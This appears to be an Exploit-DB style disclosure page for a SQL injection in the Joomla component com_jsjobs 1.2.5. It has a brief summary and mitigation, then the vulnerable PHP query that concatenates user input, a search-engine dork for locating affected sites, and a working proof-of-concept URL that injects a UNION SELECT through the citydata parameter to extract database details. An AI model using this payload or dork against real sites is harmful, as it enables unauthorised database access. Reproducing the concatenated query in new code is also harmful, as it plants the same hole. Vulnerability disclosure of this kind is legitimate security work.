header-logo
Suggest Exploit
vendor:
JS Jobs
by:
qw3rTyTy
8.8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: JS Jobs
Affected Version From: 1.2.5
Affected Version To: 1.2.5
Patch Exists: NO
Related CWE: N/A
CPE: a:joomsky:jsjobs
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Debian/nginx/joomla 3.9.0
2019

Joomla! component com_jsjobs – SQL Injection

A SQL Injection vulnerability exists in Joomla! component com_jsjobs in line 296 of the file site/models/cities.php. An attacker can send a malicious HTTP request containing a specially crafted SQL query to the vulnerable parameter citydata in order to execute arbitrary SQL commands in the context of the vulnerable application.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.
Source

Exploit-DB raw data:

#Exploit Title: Joomla! component com_jsjobs - SQL Injection
#Dork: inurl:"index.php?option=com_jsjobs"
#Date: 11.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/5/download/1
#Version: 1.2.5
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 296 in file site/models/cities.php

   291	    function isCityExist($countryid, $stateid, $cityname){
   292	        if (!is_numeric($countryid))
   293	            return false;
   294	
   295	        $db = $this->getDBO();
   296		$query = "SELECT id,name,latitude,longitude FROM `#__js_job_cities` WHERE countryid=" . $countryid . " AND LOWER(name) = '" . strtolower($cityname) . "'";	//!!!
   297	
   298	        if($stateid > 0){
   299	            $query .= " AND stateid=".$stateid;
   300	        }else{
   301	            $query .= " AND (stateid=0 OR stateid IS NULL)";
   302		}
   303		
   305	        $db->setQuery($query);
   306	        $city = $db->loadObject();
   307	        if ($city != null)
   308	            return $city;
   309	        else
   310	            return false;
   311	    }
   312	
   313	}

#####################################
#PoC:
#####################################
http://localhost/index.php?option=com_jsjobs&task=cities.savecity&citydata=%27%20UNION%20SELECT%20*%20FROM%20(SELECT%20user())%20AS%20a%20JOIN%20(SELECT%20version())%20as%20b%20JOIN%20(SELECT%20database())%20as%20c%20JOIN%20(SELECT%20%27woot%27)%20as%20d--%20,Canada